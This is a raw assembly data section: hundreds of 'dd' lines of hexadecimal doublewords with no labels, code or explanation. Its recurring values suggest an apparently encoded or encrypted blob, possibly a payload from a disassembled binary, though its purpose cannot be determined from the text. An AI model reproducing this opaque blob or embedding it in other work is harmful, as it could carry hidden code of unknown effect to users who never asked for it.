dd 4D664432h, 0BD2F50D7h, 5116CEB6h, 1A1A77FEh, 156647B5h
dd 0C3D92D32h, 3D2E7953h, 0EA935921h, 572DD87h, 9E004234h
dd 90EB70C8h, 1376B200h, 156657DBh, 0A14E0932h, 727AF9DBh
dd 174B0184h, 0E6AEF6BFh, 10B7907Eh, 9F69C1CDh, 1566883Dh
dd 15664EDBh, 3F9CBA32h, 33637B16h, 9CADEFE5h, 2C3AAB7h
dd 156ACB34h, 54C61132h, 0BFD21B71h, 58B2939Fh, 110CB21Eh
dd 0EA89052h, 9E292F6Bh, 420625F1h, 1566A63Dh, 0FC3E1132h
dd 1566883Eh, 30817EDFh, 3230441Fh, 9B3951C9h, 566E053h
dd 188F4432h, 0D5662232h, 0F2695086h, 0E1E04E52h, 12806A24h
dd 156EAB3Dh, 73061132h, 7505A48Bh, 150E2553h, 0ED662222h
dd 0EA931158h, 57AEDA7h, 75362434h, 1F8E7A53h, 35661132h
dd 0BA32BB1Fh, 8C77FF07h, 156BCBBEh, 69B21132h, 9701B07Ch
dd 0F389A46Fh, 4F7FB144h, 12ED1E53h, 1A668832h, 156645BDh
dd 90EFDB32h, 1376219Bh, 157E0A3Dh, 68F4432h, 36662232h
dd 0D543A147h, 0F1A61099h, 97BB69E0h, 0F9252E19h, 90EB8452h
dd 1371D6F0h, 0D6ED2252h, 0EA072281h, 1576F8E2h, 0A9348832h
dd 0ED891606h, 0A5247369h, 9485849Ah, 110CDB77h, 5662CC7h
dd 9F692232h, 15661124h, 156699DBh, 1478D632h, 0DE24981Ah
dd 0FAF6F5BCh, 46A9CF24h, 150EEED9h, 0EC662212h, 95691158h
dd 1566882Bh, 156650DBh, 69ABAF32h, 79A90B83h, 0DFBCECB0h
dd 0EB2E44B4h, 470B1422h, 70F3EE7Ch, 0ED60982Eh, 1F43C1BBh
dd 1A8F2422h, 0CD661132h, 462AAA33h, 0E670C724h, 684E2870h
dd 90EF9EF8h, 137683A7h, 0E0262ECBh, 1576225Ah, 1575F832h
dd 0ACDE8832h, 0CB4D20ABh, 0A513297h, 4596B835h, 191DA101h
dd 15662C81h, 1A062233h, 156613B9h, 1A3FD832h, 156647BCh
dd 1B8A232h, 0EC667B53h, 9031DCDh, 0FD064222h, 1566223Eh
dd 3494B5FBh, 0DEBBA49Ah, 0BC02A361h, 8DA8A354h, 0F3E7484Ah
dd 4824672Eh, 6CE3CD53h, 0FC603220h, 1566113Ch, 0B2D615Bh
dd 9BF5F9AAh, 259045EEh, 0A0EDDCB8h, 1376A7F7h, 156CAD52h
dd 82632232h, 0ACAA0FE5h, 2EC82CB7h, 156DAC62h, 37CA2232h
dd 0A455697Bh, 390FEAD5h, 743F1B9Eh, 14FBA9CAh, 1A60011Dh
dd 156689BDh, 0A0EFB832h, 13762D23h, 15661FDBh, 84AAFE32h
dd 0CEAE6EC4h, 4360F404h, 9C3C85B5h, 57651AFh, 19E94B34h
dd 1A662232h, 156617B8h, 15EE8732h, 9E664432h, 54923AFh
dd 14E91E34h, 0E0668832h, 21E777CDh, 96362B16h, 316A9A36h
dd 15624CB3h, 0E4E74432h, 11E5723Bh, 1561963Dh, 95698832h
dd 15664433h, 159FA1CAh, 2C56953Dh, 45068832h, 733F1E60h
dd 7D07E0B9h, 15667C75h, 1A428CBBh, 156647B5h, 749E4232h
dd 1561705Ah, 316A0132h, 156641DBh, 302DEC32h, 7506713Bh
dd 0D66357B3h, 0D2E73A0Ch, 6BC01014h, 1AA62053h, 156680B3h
dd 0AF002432h, 25D06CEEh, 60E39853h, 0E9609826h, 18632C61h
dd 9ED4ED9h, 11A29016h, 5E668832h, 0DC8DC571h, 9C0AC93Eh
dd 94694AECh, 1566883Bh, 0DBE72252h, 2ED2A582h, 0A833E953h
dd 4D62870Ch, 719981B3h, 0FB4F0591h, 3112126Fh, 28A00912h
dd 1A19E346h, 15662EB6h, 13E81E32h, 1A668832h, 156644B2h
dd 94374232h, 29E769E1h, 7307D349h, 1DE94B9Fh, 1A662232h
dd 156613B6h, 3807E832h, 1FB908F1h, 6B6D7F1Fh, 31221211h
dd 1E3B8D12h, 0D663674Ch, 756CFD7Eh, 0AC19F1B3h, 9769B3A2h
dd 15664434h, 0AE6EECB3h, 0EA076754h, 21E7F042h, 0BE4DAF16h
dd 0AA317C64h, 43CD3AD9h, 0E9397603h, 676A82B3h, 0FBE70D57h
dd 21E76C39h, 3542FC31h, 686D82B3h, 0FBE716B3h, 3A03633Eh
dd 156682DBh, 9871E632h, 0CD3C69C7h, 45AB3063h, 1566908Ah
dd 9E964532h, 3162A90Ah, 1562D5B3h, 18F8832h, 0DC664432h
dd 0BE6BFECEh, 46364105h, 23A2E0A8h, 6F4CFC5Bh, 9C8070C7h
dd 574C08Fh, 14E88734h, 0E0664432h, 9069DDB7h, 1566110Fh
dd 156682DBh, 0DE266332h, 3F74E26h, 0FC1EE133h, 1566883Ch
dd 1F667CD3h, 305D3ADCh, 0A14B420Bh, 0E78ECDEEh, 0EC66446Ch
dd 1562C8DBh, 99697132h, 15668830h, 0DBE71D60h, 6E8DD6B9h
dd 0F4EF4053h, 156249B3h, 0FCE54432h, 316AA536h, 316A986Eh
dd 74BC0852h, 1ED1353h, 11A2A116h, 15619C3Dh, 9F068832h
dd 0D4D14BC3h, 11B44953h, 1561973Dh, 91698832h, 15664433h
dd 1563CBC7h, 0C8E91132h, 9C9D018Eh, 54B11A7h, 0FDEC4234h
dd 110C70CAh, 15670A3Dh, 75934432h, 1AB9A952h, 7307DF85h
dd 1C1D41B3h, 5662C53h, 0FD062232h, 1566113Dh, 0E98C74FDh
dd 295D65C5h, 4AD7592Eh, 73A0FDFBh, 9F9E53B3h, 74B6CF6Bh
dd 1504095Ah, 31729832h, 15669BDBh, 8F440B32h, 2DE99773h
dd 4487411Ch, 50CC349Ah, 4B7652FCh, 1A062258h, 15661EB1h
dd 156F6032h, 0FAF64432h, 46A96524h, 4DDCBBD9h, 6E78753h
dd 0FC664432h, 1566223Ch, 0A37FEC0Dh, 6DA1A309h, 76062EA3h
dd 8099945Eh, 13760D57h, 156680DBh, 0BB89BC32h, 2B32D63Eh
dd 50E398ECh, 0FC609801h, 1566443Fh, 413FC2A5h, 26EE023Fh
dd 93E855F3h, 118AC73Eh, 9C423EBBh, 4EBC98F1h, 7406DB52h
dd 156CAD6Bh, 50672232h, 17635FE1h, 621D62C7h, 316ACF53h
dd 9480AB64h, 156615F4h, 11A00B32h, 494270B5h, 156631DBh
dd 81B07532h, 19F1DC29h, 37196DBDh, 5D9B1E18h, 0F7038A67h
dd 153B0CDAh, 0E30EB132h, 9C662200h, 0B89A3506h, 0DBEDEE52h
dd 2A6A4153h, 5165202Fh, 0AC373516h, 54DE2C8h, 4F2A5B3h
dd 0D4E77A39h, 4ADD54E6h
dd 94BF7F73h, 3311D9FBh, 78A7A348h, 3C61CC0Dh, 0AD06D1FAh
dd 50AE5DC4h, 7494A954h, 249E20CBh, 1A9EB9F5h, 156645B2h
dd 9C36D732h, 9EA598CAh, 0D1E7AC36h, 15664436h, 1573A93Dh
dd 58F1132h, 0C9668832h, 517B0580h, 0A03448A9h, 0E532B760h
dd 7DF85B67h, 156609D0h, 0FC421EBBh, 15661137h, 0F1287835h
dd 0E9A67462h, 0E8138CC7h, 156617DBh, 0F9041832h, 0FC7BA023h
dd 15662239h, 0AAFF7385h, 4993AC79h, 9E216638h, 9C330606h
dd 11A390D7h, 94668832h, 156640F7h, 314AA532h, 51D9716Eh
dd 4533EA36h, 94071CCAh, 352817F5h, 7E89901Dh, 3C748432h
dd 7EA1C5EDh, 94742E32h, 352824DDh, 9C357D1Dh, 11A5C5D1h
dd 96662232h, 9E115D9h, 1EFD416h, 2E04B16h, 1A662232h
dd 156600B8h, 156A6132h, 0E8B24432h, 33A55D22h, 366EED07h
dd 91694F0Dh, 15664420h, 15662FDBh, 0C1975632h, 0C7DC9045h
dd 9C75D861h, 0F9E75192h, 15661136h, 4F42B4BBh, 156CC23Dh
dd 94062232h, 0B60345C3h, 74BF0323h, 25CFF9B9h, 1E8F2422h
dd 0D7661132h, 0DB0DC51Fh, 7A42B16Eh, 0EADF80DFh, 0E999EECDh
dd 188F4803h, 15664432h, 2671CA28h, 0A64D36F4h, 0CBD3BEDAh
dd 15DF1561h, 9C662232h, 0E66748F9h, 1A3D8BB8h, 15664EB0h
dd 1563CB32h, 27641132h, 25CBE07Bh, 14E34BFAh, 0E9662232h
dd 0EA99AE65h, 0EB4F77CDh, 2199B86Dh, 3162A9B5h, 1562D5B3h
dd 0D49E8832h, 24934CDBh, 1563CBF3h, 0C4D21132h, 5FC3FF85h
dd 0EAF0C13Dh, 0AD06DDCDh, 76A82F07h, 74AF3F3Dh, 9C62A8B1h
dd 0ED3E063Eh, 0E28C96A0h, 878C0FE7h, 11EE4B52h, 73662232h
dd 1A1A888Bh, 15668DB3h, 0FFE72232h, 0EA07B955h, 963C3506h
dd 459E8CF6h, 464240B3h, 9A2BE64Ah, 0B5D84730h, 5341D52Ch
dd 63E68AB3h, 0F3E73795h, 7C324519h, 0FBE756C5h, 858177BEh
dd 1A38101Bh, 15661DB5h, 13ED8732h, 1A664432h, 156622B5h
dd 11DE4132h, 94668832h, 0C76D53F0h, 94A4232Eh, 0C76D06D8h
dd 469ED02Eh, 0D6E7A7BBh, 15662236h, 1562FAB3h, 9E18832h
dd 1EF1816h, 9099DE16h, 13760547h, 15670A3Dh, 9E9E4432h
dd 57257A7h, 7EF1E34h, 0FC668832h, 1566443Fh, 0B58DB369h
dd 1148B537h, 4DEEBAE9h, 0C4F37D6Eh, 1A603220h, 156690B6h
dd 9400E832h, 1AC220EAh, 156627B1h, 0C6E77732h, 0EA07F471h
dd 963C6006h, 9E9E26F6h, 9C343506h, 11A409D0h, 96664432h
dd 1E126F0h, 1A064D16h, 15668EB0h, 15E44B32h, 1A662232h
dd 7D07E685h, 1566BAC0h, 0AF4250BBh, 15662236h, 0FC3CC733h
dd 15668820h, 0CA2AAAC4h, 87F2FDBAh, 0FC703A4h, 0F704BEEDh
dd 0AD066897h, 786DB473h, 7419E2B2h, 0EA9A69DBh, 156EADCDh
dd 0BF302232h, 6FFE84D5h, 1EDEF49h, 0F7EF1616h, 1562E0B3h
dd 0D7E51132h, 31720F36h, 0EBEC246Eh, 156629DBh, 8D945432h
dd 0F3A53753h, 4594C9F0h, 3152DD53h, 11A2926Ch, 156699DBh
dd 0DFDF7F32h, 0F11D2311h, 53CF149Dh, 0E8CD2BACh, 91696A1Fh
dd 15662239h, 156617DBh, 1189A632h, 7459C4F8h, 1569A43Dh
dd 1F8F1132h, 0BE668832h, 0E8C1D5EDh, 0DAED8243h, 14E81E65h
dd 0ED668832h, 444248B9h, 0D4E7C3BBh, 15661136h, 156249B3h
dd 19E14432h, 90697E16h, 15661135h, 15670E3Dh, 759F4432h
dd 62BC6D8Bh, 10E11E5Dh, 0AC668832h, 6F52897Ah, 3162A953h
dd 94839867h, 15668CF7h, 11A3C732h, 49420EB5h, 156616DBh
dd 7030CC32h, 5FE39BCDh, 3F7BA7F5h, 15661722h, 1B8F8832h
dd 0A2664432h, 71BE75DDh, 559B154Ah, 5E39EB73h, 0B8E38336h
dd 15603226h, 0ED661132h, 0B03035B1h, 1A664225h, 15661AB6h
dd 88EBE432h, 1370390Fh, 1572C63Dh, 1A8F2232h, 0B2661132h
dd 0CF4DF8FEh, 0ED670A45h, 659167DFh, 0C699859Eh, 156698DBh
dd 0FE6D9F32h, 0DA373C10h, 9D32AF0Fh, 96802A88h, 60E3BB94h
dd 1A603215h, 156619B4h, 9A69E832h, 15664432h, 60DBA153h
dd 71600115h, 17AF0A3Dh, 45064432h, 1A3D7861h, 0D207D885h
dd 541FDB7h, 15664534h, 0FE72D32h, 1A661132h, 15669CB0h
dd 1569AD32h, 0CA912232h, 0F716BCBFh, 2DFE3B69h, 276C88B3h
dd 1B8F4273h, 0E9661132h, 0C0186D7Eh, 11DE37B0h, 0DE0E058Fh
dd 0E1E39CCEh, 75609F4Ch, 156654DBh, 0DD380032h, 0FA65F53Dh
dd 0C316E971h, 450D8BAh, 0C59943BCh, 4F3771C7h, 33D30553h
dd 0E9605394h, 1572A43Dh, 9B691132h, 1566883Ch, 15664DDBh
dd 0D8B4E632h, 0B581DE29h, 0A8EB49D3h, 137E7469h, 47DE72C7h
dd 147EA604h, 0E24FD0F5h, 2334ABB3h, 1F8F3A85h, 37661132h
dd 6FAECBFAh, 0B0F26C39h, 5E94A1Ch, 9EF1132h, 9C9D0116h
dd 9E9F1FE8h, 5568B8Fh, 0EBED7134h, 156698DBh, 84251B32h
dd 813199B1h, 5DCB8458h, 0EC673957h, 0EADF25CBh, 7599DDCDh
dd 0BDD5A954h, 743E7D60h, 0FCA675CBh, 1566223Ch, 377D8B0Eh
dd 40CF9A5Ch, 99E9EF0h, 45375D65h, 0FF4E9A5Ah, 4D6BD04Ah
dd 0C407864Ah, 43D32FD2h, 5C637084h, 9C6A813Ah, 0E4671CF3h
dd 1A3F23B8h, 156616B5h, 14E88732h, 0E0664432h, 9969EA02h
dd 1566113Ch, 156681DBh, 2B364132h, 85BE5110h, 47305741h
dd 9224D26Ch, 0FD9F24E4h, 15662226h, 0CD950542h, 0BA30822h
dd 0FA79CBE0h, 7B551DDDh, 9A862CC3h, 74394481h, 4DE170CDh
dd 156DCA52h, 74AA1132h, 0E75F0A59h, 39DC4E56h, 749A78E5h
dd 756EF8F3h, 5063A58Dh, 45DE2218h, 0D4574323h, 90695BCEh
dd 0EA997763h, 156656DBh, 0FB2A4D32h, 5BB343F8h, 82174285h
dd 1BF39151h, 7D26AFAAh, 15660DF7h, 4D4284BBh, 156654DBh
dd 66A94532h, 762DAD65h, 54936B5Bh, 0C572ABCCh, 19172B4h
dd 31629A16h, 0FC624CB1h, 15664423h, 0FD908D4Dh, 0D9891B1h
dd 35A46359h, 18D7FD52h, 70E31B1Ch, 1A600111h, 156638B6h
dd 1575AD32h, 6E1D2232h, 0BE3886B4h, 0C70B15Ch, 0F82A40ABh
dd 3EB4C0C3h, 15D8474Eh, 9C668832h, 3152CFC2h, 1562E6B3h
dd 9F691132h, 15668833h, 1AA64FCAh, 15661FB7h, 94007132h
dd 0FD881BD5h, 1566443Ch, 478E8D23h, 0A05B7589h, 1C36CEA1h
dd 9E002DD7h, 0D2077DC9h, 56084B7h, 15668934h, 1576AD32h
dd 46FD2232h, 369D7905h, 7E37F72h, 0F31989BCh, 473336B4h
dd 6D0DC888h, 4FB3012Ah, 0F88781B3h, 0FC67C58Ah, 9669716Fh
dd 15668834h, 0CCF79FB3h, 48E4C67h, 89661132h, 0F58F94D8h
dd 0E78C9689h, 5A29B305h, 0B4192AFh, 4A980354h, 18F2553h
dd 0B6662232h, 0C42109A8h, 2A925D72h, 631AD89Ch, 0A35C306Bh
dd 46C4CED4h, 6BBF7A89h, 21E71772h, 0C17ACE16h, 0E4E7484Fh
dd 68B294DEh, 1576AD69h, 0A6672232h, 0B2E17E6Ch, 153C6F1h
dd 1DC414h, 0AE353DB1h, 229008A1h, 0C6915BC5h, 0E260AFF3h
dd 87DB77E1h, 0D44EF07Ah, 0D8E780D7h, 74C91DD0h, 0F0A7FFC5h
dd 0A8A3903Ah, 3C3159C0h, 0FEE719D9h, 69E1C3D3h, 0E03DCBBBh
dd 156682DBh, 0C9BDBA32h, 0B736FB10h, 0B8750D66h, 15710C3Dh
dd 73064432h, 0FDC8838Ah, 15661139h, 3E71D866h, 9FA32031h
dd 4C653672h, 4D39853h, 1A60983Dh, 156657B2h, 1568CB32h
dd 35301132h, 0B5A5E986h, 9CA9B9DFh, 6DD11E36h, 20DE4167h
dd 20704713h, 27DC57C1h, 943EE7BBh, 0EC4E29F7h, 0C4830964h
dd 0D4059A2Eh, 0F8A726DFh, 0FF8B9034h, 94007746h, 0C38D8C7h
dd 0E908ABABh, 9E00716Fh
dd 0FB5BE9CCh, 1A88AADCh, 156682B7h, 12E51E32h, 1A668832h
dd 156645B0h, 2BE7DB32h, 0C8BBCCEFh, 15E10D3Dh, 40934432h
dd 0F0381F8Fh, 0D660D63Dh, 44969293h, 1566448Bh, 14972332h
dd 0E93B481Bh, 15623361h, 0D3E74432h, 2E7B4220h, 0FBE7CF33h
dd 2E7BE820h, 6E94B69h, 0FC662232h, 1566113Ch, 66DA173Dh
dd 87F73400h, 9BC43023h, 0A0EFB4EFh, 13768723h, 156CC13Dh
dd 9E062232h, 15EF1EE4h, 74668832h, 154A16DBh, 1FEC2D32h
dd 75661132h, 15660A3Dh, 68D54432h, 0EBE7CB53h, 1F8FEECDh
dd 7B668832h, 0E9A42B01h, 7E69375Dh, 118A90B2h, 9C668832h
dd 0FC3D6036h, 1566223Ah, 0DC0FC8BFh, 0BAF79F34h, 13F3C101h
dd 0D49F2422h, 0E00612FAh, 74A6373Dh, 51572B1Fh, 42B60B59h
dd 51577E8Dh, 4A9E8959h, 156649DBh, 0BBD5F332h, 6FC8243Ah
dd 7D770083h, 0D5A7F837h, 0CBED4222h, 0DD5770CAh, 156682DBh
dd 86205032h, 1F89F69Bh, 9C3B54E1h, 5601DAFh, 155BB134h
dd 1A662332h, 1567C3B1h, 0C6E7E832h, 41013D1h, 9407F2B9h
dd 0AEDDAA0Ch, 0A9E38789h, 0E0664433h, 15662FDBh, 416B3632h
dd 0C3589423h, 0D120FB8Ch, 0AF3419B6h, 15661132h, 7D377A33h
dd 5469Ah, 14AFA36Bh, 9474916Ah, 0F63C21DBh, 4C6CCD25h
dd 1EED2D68h, 0FC661132h, 15668834h, 79052458h, 0A8335284h
dd 15661136h, 41DC4EB3h, 0FB675A7Fh, 41DCCCB3h, 0ED3B0F7Fh
dd 1A773DBBh, 1A064222h, 9400EC85h, 7470F5C1h, 0CBD98752h
dd 9E07AFB8h, 54923AFh, 2699E834h, 5B42A4B3h, 4C05E91Ch
dd 3B289D65h, 0EC67729Fh, 739AE86Dh, 527EB2B3h, 130EDA53h
dd 9C661120h, 11E7AC36h, 63612716h, 0FFE77868h, 4F101651h
dd 46D7E852h, 15664DDBh, 0FACFDE32h, 4755927Bh, 740758F6h
dd 9434B152h, 276C061Eh, 11ED23CBh, 11A20B16h, 0EC544E37h
dd 0AF004200h, 0D2EDBE81h, 0F8E3A353h, 0FC605413h, 15662223h
dd 582FC03Ch, 215D51FDh, 37A25071h, 751F0BC3h, 1786D02Ah
dd 60E38BCAh, 0FC605436h, 15662238h, 0EC2D13B9h, 38186561h
dd 3D0E3443h, 9C662260h, 4D303536h, 1FE0876Ch, 75664432h
dd 92697963h, 15661132h, 0FC062553h, 1566443Eh, 0ABCFCFE6h
dd 7625C01Ah, 0DB5E2713h, 15664BDBh, 0F286C32h, 4B029784h
dd 0BFA024E8h, 703B7D05h, 0AB30DE53h, 0CF23039h, 5B6466F3h
dd 1488C57Ch, 0D44FFC24h, 0D3E719D4h, 68027E0Dh, 1438B433h
dd 20590FFAh, 0AC061565h, 7491B7E6h, 3122CD53h, 1569CB2Eh
dd 7A6F1132h, 0D46053CAh, 1DA40708h, 0ED036B8Bh, 1A067023h
dd 9E694885h, 15664434h, 1566A73Dh, 0FC071132h, 15668B11h
dd 15664EDBh, 5AB9CB32h, 0DA0ABB9Fh, 47DC249Ch, 0D7E7A6BBh
dd 15662236h, 1562FBB3h, 1E18832h, 19EF1816h, 14EF2D16h
dd 0E0661132h, 94830167h, 156640F7h, 118BA332h, 92661132h
dd 9C3AAC1Eh, 1F8F6026h, 0FC662232h, 0FC76067Dh, 8203366Eh
dd 1AAF7505h, 156623B3h, 80EDE432h, 1376BB77h, 1568CF3Dh
dd 1C8F2232h, 8D661132h, 2C79C1F1h, 2883E107h, 43DF4452h
dd 2ADF77B5h, 175DE942h, 15BEC03Dh, 73062232h, 0B766DEB3h
dd 11D9DF53h, 94664432h, 0E34A20F0h, 949C102Eh, 0E34A8AD8h
dd 48F1B2Eh, 91662232h, 9484F7D1h, 558CD064h, 0BBE8586h
dd 0F89D507Dh, 156D9F3Dh, 138F8832h, 74664432h, 0C05F5D34h
dd 14D847D1h, 14668832h, 2E9A1AC3h, 574F3BFh, 8AE31E34h
dd 0FC9977CDh, 15664439h, 8D0F7492h, 7A6D9E2Ch, 46F2B658h
dd 0C03E6789h, 12A5A37Ch, 943AA562h, 0FE62C9C1h, 6C95C502h
dd 945D925Fh, 0C7A703D9h, 9EBE0192h, 0D1E5602Eh, 9E694236h
dd 15661122h, 156683DBh, 6B30BB32h, 0B9C4DA72h, 53D17BDCh
dd 1567003Dh, 74934432h, 15662DDBh, 3CECA32h, 0A61C2888h
dd 0A1344BBh, 0C6D35F87h, 5BE39CBFh, 0EA9A8E22h, 12ED4BD3h
dd 75662232h, 0A269C585h, 98EFE9F8h, 13765047h, 3152DDCBh
dd 11A29268h, 156686DBh, 46CA5932h, 280996C4h, 0E81DF9ACh
dd 9E43D7CFh, 9C34603Eh, 11A4A3D0h, 96661132h, 1E18CF0h
dd 42931816h, 0D2E7C5BBh, 15661136h, 926267B1h, 9C3A600Eh
dd 9E9F0606h, 54910AFh, 14E98734h, 0EC664432h, 1571A13Dh
dd 78F1132h, 60668832h, 0EC43BFD8h, 9E1E5397h, 9F2DD435h
dd 40B1FC24h, 15DC1652h, 14662232h, 9E6C9AE8h, 0D1E5AC26h
dd 14E74B36h, 0E9662232h, 11394B9h, 9C698E22h, 1566443Dh
dd 156628DBh, 50E96932h, 87A28C63h, 0C474B7D4h, 0AC0042D2h
dd 0CADC6F23h, 74795DE3h, 3F13C131h, 249E2422h, 14E01EC4h
dd 0E9668832h, 1573CF3Dh, 58F2232h, 71661132h, 1F6E65FFh
dd 0ED68F154h, 585F6542h, 2406500Dh, 24A0B9C2h, 9C6924C2h
dd 15662236h, 0EAC1AB54h, 75CBEE53h, 0DC27FE54h, 156633DAh
dd 66BC4E32h, 9CB18042h, 9331694Eh, 5DE6FF79h, 108E534Ch
dd 4668832h, 41EDA3F2h, 0E0077C6Ch, 1A64F1F3h, 15668FB9h
dd 14ED4B32h, 0E0662232h, 11139431h, 58F8E22h, 91664432h
dd 3097C432h, 3B228B05h, 0BD85CE56h, 24341C5Ch, 24A013C2h
dd 78F71C2h, 0F668832h, 20C34131h, 95CADE8Bh, 0C892B273h
dd 0D348BE31h, 58F1406h, 25662232h, 781B8CABh, 0E8B24F35h
dd 33A53B22h, 4B6EDE07h, 109ABC53h, 291EA526h, 0AB308C33h
dd 49163338h, 0FBA75F74h, 0EAA80930h, 94579F03h, 8D9137F4h
dd 4B963836h, 156D033Dh, 138F4432h, 3F662232h, 0E8A2942Bh
dd 315277B2h, 11A2C56Ch, 0FC662232h, 15661135h, 52179229h
dd 9602C592h, 57AB78Fh, 91691034h, 156688C9h, 14EC4BC7h
dd 0EC662232h, 1FF9C09h, 91698E22h, 156644D5h, 0E2D12D52h
dd 6E36C2B3h, 2E07C7D6h, 546A1BFh, 0C5E22D34h, 0FC661132h
dd 15668826h, 6C1B55A5h, 0C3258C6Eh, 4DD73BDBh, 0C75F2A0Dh
dd 38191E22h, 3B07AF09h, 91691722h, 15668899h, 3CFBC9CBh
dd 1A603A36h, 156600BFh, 156A6132h, 0C4924432h, 25DB2D45h
dd 7AC2B5F9h, 0C699795Fh, 1568CD3Dh, 1C8F2232h, 0F2661132h
dd 610C253Dh, 307667B9h, 3162A362h, 27FD010Ch, 0D3DBDD6Dh
dd 94268C71h, 44665BF7h, 0AD939038h, 0C471C376h, 94BBB3D7h
dd 0F01AE3F7h, 9893902Dh, 3C335259h, 1B8F19DDh, 57662232h
dd 0EA98E2Ah, 0D240FDF3h, 8A71B03Fh, 84E3AB46h, 1A600113h
dd 156689BDh, 358FBD32h, 1A662212h, 15660FB7h, 0DEB8732h
dd 0FC664432h, 15662221h, 0E9177060h, 55D19C16h, 0B3293689h
dd 6E24A87Dh, 9885CB5Dh, 0D62A1AFh, 0C699BC34h, 156636DBh
dd 5BD0C332h, 8CEEC120h, 40A500B7h, 0A51B9C96h, 0C053780Fh
dd 80DB0B25h, 1560542Eh, 153FA63Dh, 188F1132h, 74668832h
dd 33C170BDh, 40BDDF53h, 0E996543Eh, 3CE3B3CBh, 1A60543Dh
dd 15660AB6h, 0A5D57132h, 15668EDBh, 0DA4DC732h, 7489D8C5h
dd 0F039409h, 90698E22h, 1566442Dh, 1561A73Dh, 9C691132h
dd 15668833h, 0EBBDADC7h, 1A06DDCDh, 156614B5h, 28E43032h
dd 2E0763AEh, 57263B7h, 7FE31E34h, 1A668832h, 156650BCh
dd 1569CB32h, 0F9B61132h, 0A6BA126Dh, 0C8CE4C79h, 0FA7F069Dh
dd 1CDB920Bh, 15609810h, 1579C03Dh, 96692232h, 15661133h
dd 10DB0BC7h, 15605439h, 1549A63Dh, 94061132h, 767B26E9h
dd 0EDD94B0Ah, 97E3AF53h, 7560064Dh, 4DCB3054h, 74B8CF54h
dd 0EA984ADBh, 156DF8CDh
dd 32CC8832h, 0C91FB9EDh, 9C0C226Ah, 54E32A9Bh, 1A609826h
dd 0EA9808B6h, 156BCBCDh, 0F81D1132h, 8619E804h, 6D2BAC42h
dd 96C48FC5h, 2C32B8Fh, 90698934h, 1566440Ah, 156636DBh
dd 0B25CBC32h, 8AF7AFAEh, 0E42A0CFCh, 0D98258E1h, 7F98532Dh
dd 7BE3B355h, 1A605397h, 156631B7h, 90EBE932h, 153F83D6h
dd 0EB48ADC7h, 0ED06DDCDh, 74FFCAB2h, 96697703h, 15664433h
dd 78DBA1CAh, 15600102h, 4770C3Dh, 0AE064432h, 482BF09h
dd 2E071384h, 2C3D2B7h, 57E34B34h, 0ED662232h, 71794B9h
dd 18F8E22h, 77664432h, 9262A893h, 5BEFD850h, 609CED11h
dd 555D9133h, 47D6C5ADh, 0B9450388h, 0C840963h, 0D42AA351h
dd 0DFE727D8h, 20FB2B76h, 0D1C57AB3h, 0C24F8C50h, 6ED44268h
dd 77E32A53h, 1A609F97h, 156672B7h, 19E12D32h, 1A661132h
dd 15668EB7h, 15EF4B32h, 9E662232h, 54C70B7h, 0AD9E834h
dd 7501585Bh, 75B0953Dh, 43077053h, 0DE09118Ch, 7390C566h
dd 3CCD16A2h, 2E934FC5h, 2C3D6B7h, 2BE34B34h, 75662232h
dd 15661FDAh, 0CB733432h, 0B19830DDh, 0D6D4D41Bh, 75552559h
dd 0FDE7D753h, 5410F8EFh, 90EDD753h, 1376323Fh, 156682DBh
dd 6F774E32h, 79A1ADB8h, 42825108h, 544284B5h, 4A4248B5h
dd 73E319CBh, 1A600697h, 1566BFB7h, 90EDBD32h, 13762BCFh
dd 156616DBh, 0FB24A732h, 4179812h, 15679C64h, 0E2671132h
dd 1DE5876Ch, 1A664432h, 156620B9h, 1A077132h, 15668FB8h
dd 0D1E62432h, 74B1A9E5h, 0B00C9409h, 90698E25h, 15664405h
dd 0F4E3A9CAh, 0FC60012Fh, 15668823h, 183C62Dh, 3D9B7EA4h
dd 0A8009394h, 56BF0FF3h, 0EADF1599h, 3C99DDCDh, 198F48FDh
dd 75668832h, 0F8378884h, 0A6F83496h, 2E51CFDFh, 2C3E6B7h
dd 7FE34B34h, 0EC662232h, 82B94B9h, 0FC068E22h, 1566443Dh
dd 0F687D056h, 4188DFDFh, 6E131C4Ah, 0A03AE6FAh, 48F43CDh
dd 5661132h, 519A9986h, 957AB7AAh, 6F811B63h, 0CF4A1EB2h
dd 0EA993361h, 0CA4FBBCDh, 188F4269h, 32661132h, 0E170E0Fh
dd 0C85FF361h, 0A2E8584h, 15749F3Dh, 198E8832h, 46664432h
dd 932B9421h, 1091D133h, 4BF1B113h, 67E37F53h, 1A603597h
dd 15662DB7h, 90ED7432h, 1376416Fh, 1576AC3Dh, 1E8F1132h
dd 0DD668832h, 0CCA647D5h, 0E7720394h, 0C2E15603h, 4A34DF70h
dd 1575AD68h, 0BE7E2232h, 13269DA2h, 0C5B1411Ah, 0EBB65851h
dd 3CF0F9DAh, 63E32A92h, 1A609F97h, 15667BB7h, 96694232h
dd 15661130h, 0FCE659B8h, 90ED2501h, 13762AA7h, 156602DBh
dd 16C20032h, 92B8791Dh, 5B1C7F9Eh, 57F560BCh, 0DD528AD8h
dd 1567FA64h, 0E2672232h, 1560F86Ch, 0B3518832h, 9307C5D5h
dd 0B01CA709h, 90691725h, 15668864h, 156ECB3Dh, 9A692232h
dd 15661130h, 90EDE952h, 13765CF7h, 156EA13Dh, 92691132h
dd 15668830h, 94062552h, 784576C3h, 0EBD91E5Ah, 0E1DFD953h
dd 944C605Dh, 0B31A1C3h, 0F4A7505Fh, 94B77F36h, 491E3AC3h
dd 4CA923BEh, 15619E3Dh, 9E068832h, 0CCED22F8h, 905DD753h
dd 1371B44Ch, 15510D3Dh, 78F4432h, 0D2662232h, 77C55688h
dd 35A09ABFh, 2EEFB876h, 0BD583436h, 10E39A91h, 0ED60982Ch
dd 1567FE60h, 0C2672232h, 156DF868h, 0A8208832h, 0B8362E53h
dd 51096727h, 93E32A5Fh, 1A609F97h, 156672B7h, 19E92D32h
dd 1A661132h, 15668EB1h, 15E34B32h, 9E662232h, 5682CB7h
dd 18EB8734h, 75664432h, 60A1A354h, 15E81E5Ah, 74668832h
dd 0EA99FD63h, 0DA4FDDCDh, 2E07716Bh, 2C30AB7h, 7DE34B34h
dd 0FC662232h, 1566113Dh, 0D1EF075Eh, 0A8A1D233h, 71A07C8Ah
dd 0FC6560ACh, 15668837h, 31E84FA2h, 0D4DBA1FCh, 15600123h
dd 155B0D3Dh, 1C8F4432h, 79662232h, 0AA158673h, 50B06F97h
dd 156657DBh, 5E67B132h, 10787F44h, 0E2B41E60h, 71A94615h
dd 0D5A72E23h, 240B94B9h, 439A8E22h, 0EA99BB8Ch, 4B910BCDh
